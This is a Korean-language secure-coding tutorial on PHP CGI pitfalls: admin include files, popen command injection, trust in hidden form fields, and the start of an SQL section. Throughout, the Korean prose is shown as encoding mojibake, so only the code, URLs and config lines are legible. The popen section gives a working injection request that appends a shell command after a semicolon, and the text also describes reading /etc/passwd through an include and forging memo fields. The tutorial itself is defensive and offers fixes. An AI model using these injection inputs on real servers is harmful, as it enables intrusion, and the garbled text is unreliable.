Çϳª·Î ÀÎÇØ Server ¿¡ Ä¡¸íÀûÀÎ Security HoleÀ» ¸¸µé ¼ö ÀÖ´Ù´Â °ÍÀ» ±â¾ïÇÏÀÚ.

/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
10) CGI admin ¸Þ´º ÁÖÀÇÇÒÁ¡

À̹ø¿¡´Â Web CGI ¿¡¼­ Admin ¸Þ´º¸¦ ´Ù·ê ¶§ ÁÖÀÇÇØ¾ß ÇÒ Á¡µéÀ» ¼³¸í
ÇÏ°Ú´Ù. Web CGI ¿¡´Â ´ëºÎºÐ Admin ¸Þ´º (ȤÀº ±â´ÉÀÌ) °¡ Á¸ÀçÇÑ´Ù.
°£´ÜÇÏ°Ô ¹æ¸í·Ï, ÀÚ·á½ÇºÎÅÍ ½ÃÀÛÇÏ¿© ÀÚ·á °ü¸® °°Àº ±â´ÉÀ̶ó´øÁö ¿©·¯
CGI ¿¡´Â Admin ¸Þ´º°¡ °ÅÀÇ ÇʼöÀÌ´Ù.

Admin À» ÀÎÁõÇÏ´Â ¹æ¹ý¿¡´Â ¾î¶² °ÍÀÌ ÀÖÀ»±î. °¢ Page ÀÇ ¾ÕºÎºÐ¿¡ Admin
ÀÎÁö ¾Æ´ÑÁö üũÇÏ´Â ¹®¹ýÀ» ³ÖÀ» °ÍÀÌ´Ù. (Á¶±Ý ´õ ÀÚ¼¼ÇÑ ÀÎÁõ ¹æ¹ýÀº
8 ¹ø ÀåÀ» Âü°íÇÏ¿©¶ó)

´ÙÀ½Àº Admin ¾Ë°í¸®Áò »ç¿ë½Ã ÁÖÀÇÇØ¾ß ÇÒ °ÍµéÀÌ´Ù.

1. Admin Cookie ¼¼Æýÿ¡ ¾Ïȣȭ »ç¿ë
2. IP ¸¦ °¡Á®¿Í ÀÎÁõ¿¡ »ç¿ë
3. Cookie Sniffing ¸øÇÏ°Ô ¸·À½

À§ÀÇ Á¶Ã븦 ÃëÇߴµ¥µµ Cracker °¡ Admin À» ȹµæÇÏ¿´À»¶§¿¡ ´ëÇÑ ´ëºñ¸¦
¾Ë¾Æº¸°Ú´Ù.

Cracker °¡ Admin À» ¶¤¾îµµ Cracker °¡ ÇÒ ¼ö ÀÖ´Â ÀÏÀ» ÃÖ¼ÒÈ­ ½ÃÄѾß
ÇÑ´Ù. Áï, º»·¡ÀÇ CGI Admin À¸·Î¼­ ºÒÇÊ¿äÇÑ ±â´ÉÀº CGI ¿¡ ³ÖÁö ¸»¶ó´Â
°ÍÀÌ´Ù.

¿¹¸¦ µé¾î Board ¿¡¼­ Header ¿Í Footer File ÁöÁ¤¿¡ ´ëÇؼ­ ¾Ë¾Æº¸ÀÚ.
(ÀÌ °ÍÀº °Ô½ÃÆÇÀÇ ¸Ó¸®¸»°ú ²¿¸®¸»¿¡ µé¾î°¥ ¸»À» ¹Ì¸® File ·Î Á¤ÇØ
³õ´Â ±â´ÉÀÌ´Ù.)

´ëºÎºÐÀÇ Board ¿¡¼­´Â ÀÌ·± ½ÄÀ¸·Î ó¸®ÇÑ´Ù.

include "$header_file";

(¿©±â¼­ $header_file Àº Admin ÀÌ Web »ó¿¡¼­ ÁöÁ¤ÇØÁÙ ¼ö ÀÖ´Ù°í °¡Á¤ÇÑ´Ù.)

¸¸¾à Cracker °¡ Admin À» ȹµæ ÈÄ header_file À» /etc/passwd ·Î ÁöÁ¤
ÇÑ´Ù¸é °Ô½ÃÆÇÀÇ ¸Ó¸®¸»¿¡´Â ÇØ´ç Server ÀÇ passwd File ÀÌ ±×´ë·Î º¸ÀÌ°Ô
µÉ °ÍÀÌ´Ù.

±×¸®°í Cracker °¡ ¾ÇÀÇÀûÀÎ ±â´ÉÀ» ÇÏ´Â ÀÏ¹Ý Text File À» ¿Ã¸° ÈÄ, ±×°ÍÀ»
include ÇÏ¸é ±×°ÍÀº Á¤»óÀûÀ¸·Î µ¹¾Æ°¡´Â PHP File ÀÌ µÈ´Ù.
(include ½Ã¿¡ Á¦ÇÑÇÏ´Â È®ÀåÀÚ´Â ¾ø´Ù´Â °ÍÀ» ¾Ë¾ÆµÎÀÚ.)

ÀÌ·¯ÇÑ ¹®Á¦Á¡À» ±Øº¹ÇÏ·Á¸é ¾î¶»°Ô ÇؾßÇÒ±î.

$fp=fopen("$header_file", "r");

while(!feof($fp))
{
$msg .= fgets($fp,100);
}

$msg=nl2br($msg);

echo $msg;

À§ÀÇ ¹æ¹ý¿¡¼­´Â Source ¸¦ include ÇÏÁö ¾Ê°í, read ÇÑ ÈÄ echo ¸¦ ÇÏ´Â ¹æ¹ýÀ»
»ç¿ëÇÏ¿´´Ù. (¹°·Ð ÀÌ·¸°Ô ÇÏ¿´À»¶§ Á¤»óÀûÀÎ php ÆÄÀÏÀ» include Çϸé, µ¹¾Æ°¡Áö
¾Ê´Â´Ù´Â ´ÜÁ¡ÀÌ ÀÖ´Ù.)

ÀÌ·¯ÇÑ Admin ±â´É ¸»°íµµ Á¦ÇÑÇÏ¿©¾ß ÇÒ ±â´ÉµéÀº ¸¹ÀÌ ÀÖ´Ù. °¡·É, Web Root
Directory ¹ÛÀº ¹þ¾î³ªÁö ¾Ê°Ô ÇÑ´Ù´øÁö, System Command ¸¦ ÀÌ¿ëÇÒ ¼ö ¾ø°Ô²û
ÇÑ´Ù´øÁö ÇÏ´Â °ÍµéÀÌ ÀÖ´Ù.

¿©±â¿¡¼­´Â Board ¸¦ ¿¹¸¦ µé¾î¼­ ¼³¸íÀ» ÇÏ¿´´Âµ¥, °³¹ßÀÚ¶ó¸é ÀÌ ±ÛÀ» º¸°í
Admin Menu ¿¡ ¾î¶² ±â´ÉÀ» Á¦ÇÑÇØ¾ß ÇÒ°ÍÀΰ¡, ¾î¶»°Ô Çϸé Server ÀÇ ´Ù¸¥ ºÎºÐ
¿¡ Á¢±ÙÇÏ´Â °ÍÀ» ÃÖ¼ÒÈ­ ÇÒ °ÍÀΰ¡, ÇÏ´Â ¹æ¹ýµéÀ» ¶°¿Ã¸± ¼ö ÀÖÀ» °Å¶ó »ý°¢ÇÏ°í
ÀÌ ÀåÀ» ¿©±â¼­ Á¢°Ú´Ù.










/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
11) popen ÇÔ¼öÀÇ ÁÖÀÇÇÒÁ¡

PHP ¿¡¼­ popen() function Àº Process File Pointer ¸¦ open ÇÏ´Â °ÍÀÌ´Ù.
ÇÔ¼öÀÇ ¿øÇüÀº ´ÙÀ½°ú °°´Ù.

int popen(string command, string mode);

fopen ÇÔ¼ö¿Í ´Ù¸¥ Á¡Àº ÀÌ °ÍÀº file ÀÌ ¾Æ´Ñ Process ¸¦ open ÇÑ´Ù´Â °ÍÀÌ´Ù.
(¹°·Ð OS ³»ºÎÀûÀ¸·Î´Â File À̳ª Process ³ª Å©°Ô ´Ù¸£Áö ¾Ê°Ô 󸮵ȴÙ.)
±×¸®°í Àаųª ¾²±â µÑÁß¿¡ Çϳª¸¸ ¼±ÅÃÇÒ ¼ö ÀÖ´Â ´Ü¹æÇâ Pointer ÀÌ´Ù.

string command ¸¦ ÀÎÀÚ·Î popen À» ºÒ¸£¸é command ¾È¿¡ ´ã±ä ³»¿ëÀ» Server ¿¡¼­
½ÇÇàÇÏ°Ô µÈ´Ù. ÇÏÁö¸¸ ÀÌ Function ¿ª½Ã system, exec ÇÔ¼ö¿Í °°ÀÌ À߸ø »ç¿ëÇҽÿ¡´Â
¼­¹ö¿¡ ½É°¢ÇÑ Security Hole À» ¸¸µé°Ô ÇÑ´Ù.

½ÇÁ¦·Î Á¸ÀçÇÏ´Â CGI ÀÇ Ãë¾à¼ºÀ» ´ë»óÀ¸·Î ¼³¸íÀ» ÇÏ°Ú´Ù. engdic À̶ó´Â
ÇÁ·Î±×·¥À¸·Î Web ¿¡¼­ ¿µ¾î»çÀü ±â´ÉÀ» ÇÏ´Â ÇÁ·Î±×·¥ÀÌ´Ù.

engdic ¿¡¼­ Áß¿ä Ãë¾à¼ºÀÌ µÇ´Â ºÎºÐ¸¸À» »Ì¾Æ³»¾î ¼³¸íÇÏ¿´´Ù.

engdic.php

1 if($mode== 'search')
2 {
3 // $word¸¦ ¾Æ±Ô¸ÕÆ®·Î ÇÏ¿© edicÀ» ½ÇÇàÇÏ¿© °á°ú°ªÀ» $fp ¿¡ ÀúÀåÇÕ´Ï´Ù.
4 $fp = popen( "/usr/bin/edic_ $word", "r");
5
6 // $fp ÀÇ EOF¸¦ ¸¸³¯¶§±îÁö °ªÀ» Àоîµé¿© edic_str ¿¡ Ãß°¡¸¦ ÇÕ´Ï´Ù.
7 while(!feof($fp))
8 {
9 $edic_str .= fgets($fp,100);
10 }
11 pclose($fp);
12 // return °ªÀ» <br> ·Î ¹Ù²Û´Ù.
13 $edic_str = nl2br($edic_str);
14 // È­¸é¿¡ Ãâ·ÂÀ» ÇÑ´Ù.
15 echo( "
16 <table border='0' cellpadding='2' cellspacing='0' width='70%'>
17 <tr>
18 <td width='90%'><p><br>
19 <font size='2'>$edic_str</font></td>
20 </tr>
21 </table>");
22 }

/* ½±°Ô ¼³¸íÇϱâ À§ÇØ °¢ ÁÙÀÇ ¾Õ¿¡ ¹øÈ£¸¦ ´Þ¾Ò´Ù. óÀ½ if ¹®Àº ¹«½ÃÇÏÀÚ.
4 ¹ø° ¶óÀο¡¼­ popen ÇÔ¼ö¸¦ ÀÌ¿ëÇÏ¿© /usr/bin/edic ÇÁ·Î±×·¥À»
open ÇÏ·Á Çß´Ù. edic ÇÁ·Î±×·¥ÀÇ argument ¸¦ $word ¶ó´Â º¯¼ö·Î ÁÖ¾ú´Ù.
7 ¹ø° ÁÙºÎÅÍ´Â popen À¸·Î ¿¬ pointer ¸¦ $edit_str ¿¡ ´ã°í Ãâ·ÂÇÑ´Ù. */

À§ÀÇ Äڵ忡¼­ Ãë¾àÇÑ ºÎºÐÀº 4 ¹ø° ÁÙÀÌ´Ù. popen À» ÇÒ¶§ /usr/bin/edic À»
½ÇÇà½ÃÅ°´Âµ¥ $word °¡ Àμö·Î µé¾î°¡°Ô µÈ´Ù. $word ´Â »ç¿ëÀڷκÎÅÍ ÀԷ¹޴Â
º¯¼öÀÌ´Ù. ¿¹¸¦ µé¾î °Ë»öÆû¿¡ »ç¿ëÀÚ°¡ help ¶ó°í ÇÑ´Ù¸é, help ¿¡ ¸Â´Â ¶æÀ»
»ç¿ëÀÚ¿¡°Ô µ¹·ÁÁÖ°Ô µÈ´Ù. /usr/bin/edic À» ÀÌ¿ëÇÏ¿© help ÀÇ ¶æÀ» °Ë»öÇÏ´Â
°ÍÀÌ´Ù. process open Àº shell À» ÀÌ¿ëÇÏ°Ô µÈ´Ù. shell ¿¡¼­ ; ¿Í | ´Â °¢°¢
¿¬¼Ó ½ÇÇà, ¿¬°á ½ÇÇàÀ» ÀǹÌÇÑ´Ù.

±×·¡¼­ ¸¸¾à¿¡ cracker °¡

http://server/engdic.php?word=help;/usr/bin/touch /tmp/imbeist

¶ó°í ¿äûÀ» ÇÑ´Ù¸é help ¶ó´Â ´Ü¾î¸¦ /usr/bin/edic ¿¡¼­ ã°í ¼¼¹ÌÄÝ·ÐÀ¸·Î
±¸ºÐµÈ µÚÀÇ /usr/bin/touch /tmp/imbeist ¸¦ ½ÇÇàÇÏ°Ô µÈ´Ù. /usr/bin/touch
ÀÇ ±â´ÉÀº ±× file ÀÇ °»½ÅÀÏÀ» °»½ÅÇÏ´Â ±â´ÉÀε¥ ¸¸¾à¿¡ file ÀÌ ¾ø´Ù¸é
ÆÄÀÏÀ» »õ·Î »ý¼ºÇÏ°Ô µÈ´Ù. ±×·¯¸é ÆÄÀÏÀÌ »ý°å´ÂÁö È®ÀÎÀ» Çغ¸ÀÚ.

$ ls -al /tmp/imbeist
-rw-rw-rw- 1 nobody nobody 6 Dec 5 03:25 imbeist

»ý¼ºÀÌ µÇ¾ú´Ù. cracker ´Â ¼­¹ö¿¡ ¸í·ÉÀ» ½ÇÇà½Ãų ¼ö ÀÖÀ¸¹Ç·Î Àڽſ¡°Ô
term À» ¶Ù¿ì´ø°¡ port ¸¦ Çϳª ¿­¾î¼­ backdoor ¸¦ ¸¸µé¼öµµ ÀÖÀ» °ÍÀÌ°í
ÀÏ´Ü shell À» ³»ÁØ ÀÌ»ó local À» Á¡·ÉÇÏ´Â°Ç ±×¸® ¾î·Á¿î ÀÏÀº ¾Æ´Ï´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

À§ÀÇ ÇØ°áÃ¥¿¡´Â ¿©·¯°¡Áö ¹æ¹ýÀÌ ÀÖ´Ù. À§ÀÇ »óȲÀ϶§´Â ¾Õ¿¡ escape ¹®ÀÚ¸¦
ºÙ¿©¼­ ¼¼¹ÌÄÝ·ÐÀ» ¹«½ÃÇÏ´Â ¹æ¹ýµµ ÀÖ°ÚÁö¸¸ ³ª´Â ´Ù¸¥ ¹æ¹ýÀ» ÃßõÇÑ´Ù.

¿¹¸¦ µé¾î $word º¯¼ö¿¡´Â ; ¿Í | °¡ ÀÖÀ» ÀÌÀ¯°¡ ¾ø´Ù. (´Ü¾î¿¡ ; ³ª | °¡
µé¾î°¡´Â ´Ü¾î°¡ Àִ°¡?)

±×·¡¼­ $word º¯¼ö¿¡ ; ¿Í | °¡ ÀÖ´Ù¸é ÀÏ´Ü ÀǽÉÀ» ÇؾßÇÑ´Ù. ¸¸¾à¿¡ µÎ
¹®ÀÚ°¡ Á¸ÀçÇÑ´Ù¸é script ½ÇÇàÀ» ÁßÁöÇÏÀÚ¸é

if(ereg(";", $word))
{
echo "Àå³­ÇÏ´Ï..";
exit;
}

if(ereg("|", $word))
{
echo "Àå³­ÇÏ´Ï..";
exit;
}

ereg_replace ¸¦ ÀÌ¿ëÇÏ¿© ; ³ª | ¸¦ "" ºóÄ­À¸·Î ¸¸µå´Â ¹æ¹ýµµ ±¦Âú´Ù.
³ª´Â °³ÀÎÀûÀ¸·Î ÀÌ·¯ÇÑ ¹®Á¦¸¦ ó¸®ÇÒ¶§ ¹Ì¿¬¿¡ ¹æÁöÇÏ´Â °ÍÀÌ (¿¹¸¦ µé¸é
½ºÅ©¸³Æ® ÁßÁö) ÁÁÀº ¹æ¹ýÀ¸·Î »ý°¢ÇÑ´Ù.




/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
12) html hidden »ç¿ë½Ã ÁÖÀÇÇÒÁ¡

À̹ø ÁÖÁ¦¿¡¼­ ´Ù·ê ³»¿ëÀº HTML ¿¡¼­ hidden type ¿¡ °üÇÑ ³»¿ëÀÌ´Ù.
¶§¶§·Î ¾î¶² CGI µéÀº <input type=hidden> À» ÀÌ¿ëÇÏ¿© ¾î¶² DATA ¸¦ ¼û°Ü(?)
³õ´Â °æ¿ì°¡ ÀÖ´Ù. ÀÌ´Â ¸Å¿ì À§ÇèÇÑ ¹æ¹ýÀÌ°í ¾î¶² °æ¿ì¿¡´Â ½É°¢ÇÑ Security
Hole À» ÀÏÀ¸Å³ ¼öµµ ÀÖ´Ù.

¸ÕÀú °£´ÜÇÑ °æ¿ìºÎÅÍ »ìÆ캸ÀÚ.

Spboard 4.5 ¹öÀü ÀÌÇÏ¿¡¼­´Â ±Û¾´ÀÌÀÇ IP ¸¦ ÀԷ¹ÞÀ» ¶§ »ç¿ëÀÚ°¡
writeform À» ¿äûÇßÀ»¶§ÀÇ IP ¸¦ ±âÁØÀ¸·Î hidden ¿¡ ½É¾î³õ´Â´Ù.
(¾Æ·¡¿¡¼­ ¼³¸íÇÏ´Â ¼Ò½ºµéÀº BUG ¸¦ ¼³¸íÇϴµ¥ ÀÌÇØÇϱ⠽±µµ·Ï PHP ·Î
¹Ù²ã¼­ ¼³¸íÇÏ¿´´Ù.)

sample1.html

<html>
<head>
<title>spboard ±Û¾²±â Æû</title>
</head>
<body>
<form action=board.php method=post ENCTYPE="multipart/form-data">
<input type=text name=name>
<input type=text name=subject>
<textarea name=comments></textarea>
<input type=hidden name=id value=test>
<input type=hidden name=action value=write>
<input type=hidden name=ip value=192.168.0.5>
<input type=submit value=±Û¾²±â>
</form>
</body>
</html>

board.php

<?

/* »ý·« */

$fp=fopen("$count.txt", "w");

fputs($fp, $ip);

/* »ý·« */

?>

html ¿¡¼­ º¸´Ù½ÃÇÇ ip °¡ hidden À¸·Î µé¾î°¡ ÀÖ´Ù. ÀÌ·± »óȲÀ϶§ Cracker ´Â
ÀÓÀÇ·Î ip ¿¡¼­ value °ªÀ» ¼öÁ¤ÇÏ¿© board.php ·Î µ¥ÀÌÅ͸¦ º¸³½ ÈÄ ±Û¾²±â¸¦
½ÃµµÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. board.php ¿¡¼­´Â »ç¿ëÀÚ°¡ ³Ñ±ä º¯¼öÀÎ $ip ¸¦ °¡Áö°í
data ¸¦ ó¸®Çϱ⠶§¹®ÀÌ´Ù.

¸¸¾à ip ¸¦ ±¹°¡±â°üÂÊÀ¸·Î µ¹·Á¼­ ³ª»Û ³»¿ëÀÇ ±ÛÀ» ¾´´Ù°Å³ª ¾ÇÀÇÀûÀÎ ÇൿÀ»
ÇÒ¼öµµ ÀÖÀ» °ÍÀÌ´Ù. ÀÌ·± ¹ö±×ÀÇ ·ù¿¡¼­ ÀÌ ¹æ¹ýÀº ¾Ö±³¿¡ ºÒ°úÇÏ´Ù.

¾î¶² °æ¿ì¿¡ µû¶ó¼­´Â System Command Execute ±îÁö °¡´ÉÇÑ ½É°¢ÇÑ Security
Hole À» ºÒ·¯¿Ã ¼öµµ ÀÖ´Ù.

±×·³ À̹ø¿£ ´Ù¸¥ °æ¿ì¸¦ ¾Ë¾Æº¸ÀÚ.

¿¹¸¦ µé¾î Æ÷Å» »çÀÌÆ®¿¡¼­ ÂÊÁö ±â´ÉÀ» ÇÏ´Â °æ¿ì·Î ÇÏÀÚ. ÀÌ Æ÷Å» »çÀÌÆ®¿¡¼­´Â
ÂÊÁö database ¸¦ File db ¸¦ »ç¿ëÇÏ°í ÀÖ´Ù°í °¡Á¤ÇÏÀÚ.

ÂÊÁö º¸³»±â html form À» º¸ÀÚ.

<html>
<head>
<title>ÀÌ °ÍÀº ÂÊÁö º¸³»±â ÆûÀÔ´Ï´Ù.</title>
<body>
<form action=memo.php method=post>
¹Þ´ÂÀÌ : beist<br>
ÂÊÁö ³»¿ë : <textarea name=comment></textarea><br>
<input type=hidden name=directory value="user/memo">
<input type=hidden name=rfile value="recv.txt">
<input type=hidden name=ruid value=11111111>
<input type=hidden name=rserver value=memo1.server>
<input type=hidden name=rid value=beist>

<input type=hidden name=suid value=22222222>
<input type=hidden name=sserver value=memo2.server>
<input type=hidden name=sid value=testid>
<input type=hidden name=sfile value="send.txt">
<input type=submit value=ÂÊÁöº¸³»±â>
</form>
</body>
</html>

Hacker ³ª Cracker ¶ó¸é ÀÌ ¼Ò½º¸¦ º¸°í ¹«¾ùÀΰ¡ °¨À» Àâ¾ÒÀ» °ÍÀÌ´Ù. hidden
À¸·Î ÀÌ·± Á¤º¸¸¦ º¸³»´Â °ÍÀ¸·Î º¸¾Æ memo.php ¿¡¼­´Â hidden ¿¡¼­ º¸³»´Â °ªÀ»
½Å·ÚÇÏ¿© ÂÊÁö data ¸¦ ó¸®ÇÏ´Â °ÍÀ̶ó°í ¸»ÀÌ´Ù.

Çѹø Å×½ºÆ®¸¦ Çغ¸ÀÚ.

[¿äû]
http://memo1.server/user/memo/11111111/recv.txt

[°á°ú]
beist ´Ô ¾È³çÇϼ¼¿ä?
½ÂÁø ¾È³ç?
¾ß ÀÓ¸¶~

¿¹»ó´ë·ÎÀÌ´Ù. hidden data ¿¡ ÀÖ´Â rserver ·Î Á¢±ÙÀ» ÇÏ°í, directory ¿Í
ruid ¿¡ ÀÖ´Â ´ë·Î Á¢±ÙÀ» ÇÏ´Ï±î ¿ì¸®´Â »ó´ë¹æÀÇ ÂÊÁö¸¦ º¼ ¼öµµ ÀÖ¾ú´Ù.
(¿©±â¼­´Â ÀÌÇظ¦ ½±°Ô Çϱâ À§ÇØ hidden data ¿¡ ÃÖ´ëÇÑ ¸¹Àº Á¤º¸¸¦ ¼ö¿ë
ÇÏ°Ô²û ¼Ò½º¸¦ ÀÛ¼ºÇÑ °ÍÀÌ°í, ½ÇÁ¦·Î´Â Àú·¸°Ô ÀÚ¼¼ÇÑ Á¤º¸¸¦ Æ÷ÇÔÇÏÁö´Â
¾ÊÁö¸¸ Á¶±Ý¸¸ ¿¬±¸Çϸé À§ÀÇ Å×½ºÆ®¿Í °°Àº °á°ú¸¦ ¾òÀ» ¼ö ÀÖ´Ù.)

¶Ç send.txt ¸¦ ¿äûÇÏ¸é »ó´ë¹æÀÌ ´Ù¸¥ »ç¶÷¿¡°Ô º¸³½ ¸Þ¸ðµéÀÌ ¾î¶² ³»¿ëÀÌ
ÀÖ´ÂÁö ¾Ë ¼ö ÀÖÀ» °ÍÀÌ´Ù.

[¿äû]
http://memo1.server/user/memo/11111111/send.txt

[°á°ú]
³ª ½ÂÁøÀε¥~ ¿äÁò ÀßÁö³»´Ï?
¾ß ÀÓ¸¶~ ¿¬¶ôÁ» ÇØ~!

¼º°øÀÌ´Ù. »ó´ë¹æÀÇ send.txt ¿Í recv.txt ¸¦ º¸´Â ¹æ¹ýÀÌ¿Ü¿¡µµ suid ³ª
sid µîÀ» Á¶ÀÛÇÏ¿© ³»°¡ º¸³»Áö ¾ÊÀº °Íó·³ À§Á¶µµ °¡´ÉÇÒ °ÍÀÌ´Ù.

¶Ç, rfile À̳ª sfile À» Á¶ÀÛÇÏ¿© ½Ã½ºÅÛÀÇ ´Ù¸¥ file µéµµ read, write °¡
°¡´ÉÇÒ °ÍÀÌ´Ù. (±ÇÇѸ¸ °¡´ÉÇÏ´Ù¸é ¸»ÀÌ´Ù.)

Á¶±Ý ´õ ÀÀ¿ëÀ» ÇÏ¿©º¸¸é System Command Execute ±îÁö ¾î·ÆÁö ¾Ê°Ô °¡´ÉÇÏÁö¸¸
ÀÌ ¹®¼­´Â Cracking ¹æ¹ýÀÌ ¾Æ´Ï´Ï ¿©±â¼­ ¼³¸íÀ» Á¢µµ·Ï ÇÏ°Ú´Ù. °£´ÜÈ÷ ¼³¸í
ÇÏÀÚ¸é rfile À» ¹Ù²Û ÈÄ¿¡, memo ³»¿ë¿¡ ¾ÇÀÇÀûÀÎ ½ºÅ©¸³Æ®ÀÇ ³»¿ëÀ» ´ãÀ¸¸é
µÇ°Ú´Ù.

ÇØ°áÃ¥À» ¾Ë¾Æº¸ÀÚ.

¿ì¸®´Â ÀÌ·± ¹ö±×¸¦ ÅëÇؼ­ hidden ¿¡ Áß¿äÇÑ data ¸¦ ³ÖÀ¸¸é º¸¾È¿¡ ½É°¢ÇÑ
¹®Á¦°¡ ¹ß»ýÇÒ ¼öµµ ÀÖ´Ù´Â °ÍÀ» ¾Ë¾Æº¸¾Ò´Ù.

ÀÌ ¹®Á¦¸¦ ÇØ°áÇÏ´Â °¡Àå ÁÁÀº ¹æ¹ýÀº ´ÙÀ½°ú °°Àº ÀνÄÀ» °®´Â °ÍÀÌ´Ù.

'»ç¿ëÀÚ°¡ º¸³»¿Â data ¸¦ 100% ½Å·ÚÇÏÁö ¸»¾Æ¶ó.'

ù¹ø° spboard °°Àº °æ¿ì¿¡´Â board.php ¿¡¼­ ´ÙÀ½°ú °°ÀÌ ¼öÁ¤ÇÏ¸é µÉ °ÍÀÌ´Ù.

<?

/* »ý·« */

$ip=$REMOTE_ADDR;

$fp=fopen("$count.txt", "w");

fputs($fp, $ip);

/* »ý·« */

?>

$REMOTE_ADDR Àº ȯ°æº¯¼ö·Î, Á¢¼ÓÇÑ »ç¿ëÀÚÀÇ IP ¸¦ ¶æÇÑ´Ù.

µÎ¹ø° ÂÊÁö ¹®Á¦ÀÇ °æ¿ì ÇØ°á¹ýÀ» »ìÆ캸ÀÚ.

¸ÕÀú, hidden ¿¡¼­ directory ¿Í rfile, sfile ´Â »ç¿ëÀÚ html hidden À¸·Î ÁÖÁö
¸»°í memo.php ¿¡¼­ Á¤ÀÇÇصÎÀÚ.

$directory="user/memo";
$rfile="recv.txt";
$sfile="send.txt";

ÀÌ·¸°Ô Çصθé rfile °ú sfile Àº »ç¿ëÀÚ ¸¶À½´ë·Î ¹Ù²Ü¼ö ¾ø°Ô µÉ °ÍÀÌ´Ù.

±×¸®°í º¸³»´ÂÀÌ¿¡ ´ëÇÑ ¸ðµç data ´Â Cookie ³ª Session À» ÀÌ¿ëÇϵµ·Ï ÇÏÀÚ.
Session ¿¡ »ç¿ëÀÚÀÇ id ³ª uid ¸¦ ÀúÀå½ÃÄѳõÀº ÈÄ¿¡ °¡Á®¿À´Â °ÍÀÌ´Ù.

rserver ´Â ´ÙÀ½°ú °°Àº ¹®¹ý µîÀ¸·Î database ¿¡¼­ °¡Á®¿Àµµ·Ï ÇÏÀÚ.

select rserver from user_rserver;

ÀÌ·¸°Ô ÇÏ¸é º¸³»´Â À̳ª ¹Þ´Â ÀÌ¿¡ ´ëÇÑ Á¤º¸ Á¶ÀÛÀº ¾î´À Á¤µµ ÇØ°áÀÌ µÉ °Í
ÀÌ´Ù. ÀÌ·¸°Ô Çϸé cracker ´Â ÂÊÁö¿¡ ´ëÇÑ °æ·Î¸¦ ¸ð¸¦ °ÍÀÌ´Ù. ÇÏÁö¸¸
cracker °¡ ÂÊÁö¿¡ ´ëÇÑ °æ·Î¸¦ brute force ¶óµµ Çؼ­ ¾Ë¾Æ¹ö·È´Ù°í °¡Á¤ÇÏ¿´À»¶§
ÀÇ ´ëó¹ýµµ ¾Ë¾Æº¸ÀÚ.

¸ÕÀú ÂÊÁö ³»¿ëÀÌ ´ã±â´Â file ÀÌ ³õÀÎ µð·ºÅ丮¿¡ ƯÁ¤ ¼³Á¤À» ÇÑ´Ù. ±× ¼³Á¤À̶õ
httpd.conf ¿¡¼­ ±× µð·ºÅ丮 ¹Ø¿¡ ÀÖ´Â °ÍÀº ÀÐÁö ¸øÇϵµ·Ï ¼³Á¤ÇÏ´Â °ÍÀ» ¸»ÇÑ´Ù.
(httpd.conf ´Â Webserver ÀÇ ÇÑ Á¾·ùÀÎ Apache ÀÇ ¼³Á¤ File À» ¸»ÇÑ´Ù.)

httpd.conf

<DirectoryMatch "^/.*/user/memo">
AddType application/x-httpd-php-source .phps .php .ph .php3 .cgi .sh .pl
.html .htm .shtml .vbs .ins .inc .py

Options FollowSymLinks
AllowOverride None
Order allow,deny
Deny from all
</DirectoryMatch>

ÀÌ·¸°Ô Çϸé user/memo µð·ºÅ丮 ¹Ø¿¡ ´ã±â´Â file µéÀº Web ¿¡¼­ ¹Ù·Î ÀÐÀ» ¼ö°¡
¾ø°ÔµÈ´Ù.

[¿äû]
http://memo1.server/user/memo/11111111/recv.txt

[°á°ú]
Forbidden

You don't have permission to access /user/memo/11111111/test.txt on this server.

Web ¿¡¼­ ¹Ù·Î ÀÐÀ» ¼ö ¾ø°Ô ¼³Á¤À» Çسõ¾ÒÀ¸´Ï ƯÁ¤ ½ºÅ©¸³Æ®¸¦ ¸¸µé¾î¼­ File À»
»Ñ·ÁÁÖµµ·Ï ÇÏÀÚ.

if(file_exists($file_path))
{
$filesize = filesize($file_path);

if(strstr($HTTP_USER_AGENT,"MSIE")) {
header("Content-Type: doesn/matter\r\n");
header("Content-Disposition:filename=$filename_link\r\n\r\n");
header("Content-Transfer-Encoding: binary\r\n");
header("Pragma: no-cache");
header("Expires: 0");
}

else
{
Header("Content-type: application/zip");
Header("Content-Disposition:attachment;filename=$filename_link");
Header("Content-Description: PHP Generated Data");
Header("Content-Length: $filesize");
header("Pragma: no-cache");
header("Expires:0");
}

$fp = fopen($file_path, "r");
fpassthru($fp);
}

À§ÀÇ °¢ º¯¼ö¿¡ ´ëÇؼ­ Ưº°ÇÑ ¼³¸íÀº ÇÏÁö ¾Ê°Ú´Ù. °¢ º¯¼öÀÇ À̸§À» º¸°í ÀÌ º¯¼ö°¡
¾î¶² ±â´ÉÀ» ÇÏ´Â º¯¼öÀÎÁö ÁüÀÛÇÒ ¼ö ÀÖÀ» °ÍÀÌ´Ù. Áß¿äÇÑ ºÎºÐÀº fopen °ú fpassthru
°¡ ¾²ÀÎ ºÎºÐÀÌ´Ù. fopen À¸·Î file À» ¿¬ÈÄ¿¡ fpassthru ·Î file ÀÇ ³¡±îÁö »Ñ·ÁÁÖ°Ô
µÈ´Ù.

ÀÌ»óÀÌ ÇØ°áÃ¥ÀÌ´Ù. ´Ù½Ã Çѹø °­Á¶ÇÏÁö¸¸ Client °¡ º¸³»´Â Data ´Â 100% ½Å·ÚÇؼ­´Â
¾ÈµÈ´Ù.
/*
http://beist.org
beist@hanmail.net
wowcode at wowhacker team
*/
13) sql °ú cgi ¿¬µ¿½Ã ÁÖÀÇÇÒÁ¡

À̹ø Àå¿¡¼­´Â SQL °ú CGI ¿¬µ¿ ½Ã¿¡ ÀϾ ¼ö ÀÖ´Â ¹®Á¦Á¡À»
¾Ë¾Æº¸°Ú´Ù. SQL Àº Structured Query Language ÀÇ ¾àÀÚ·Î ±¸Á¶Àû ÁúÀǾ
¶æÇÑ´Ù. SQL Àº Database ÀÇ ÇÑ Á¾·ùÀε¥ WEB CGI ¸¦ ¸¸µé¶§ °¡Àå ¸¹ÀÌ
¾²ÀÌ´Â Database ÁßÀÇ ÇϳªÀÌ´Ù.

SQL À» ÅëÇؼ­ CGI ´Â Á¤º¸¸¦ Á¶È¸Çϰųª, °»½Å, Ãß°¡, »èÁ¦¸¦ ÇÒ ¼ö°¡
ÀÖ´Ù.

